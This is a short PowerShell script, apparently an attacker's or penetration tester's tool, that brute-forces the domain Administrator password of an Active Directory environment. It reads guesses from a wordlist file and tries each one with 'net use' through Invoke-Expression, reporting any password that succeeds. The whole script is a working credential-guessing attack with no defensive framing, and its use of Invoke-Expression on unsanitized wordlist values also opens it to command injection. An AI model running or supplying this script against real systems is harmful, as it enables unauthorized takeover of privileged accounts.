$userVar = Get-ChildItem env:username $uname = 'Administrator@ahyalandunya.corp' $computerVar = Get-ChildItem env:computername $computerName = $computerVar.Value $ErrorActionPreference = "Stop" $hooray = "PasswordNotFound" $CurrentPath = "C:\Users\ik\AppData\Local\Temp\Rar$DIa5092.47893\ADREcon-Report-20240326192201\CSV-Files" $FileName = "word.txt" $FName= "$CurrentPath\$FileName" $count = 1 foreach($value in [System.IO.File]::ReadLines($Fname)) { $count = $count + 1 $passAttempt = ('net use \\' + $computerName + ' "' + $value + '" ' + '/u:' + $uname ) try { Write-Output ("trying password " + $value) $output = Invoke-Expression $passAttempt | Out-Null $hooray = $value write-output ("FOUND the user password: " + $value) break } catch { } } write-host "The Password is: " $hooray write-host "tried " $count " passwords"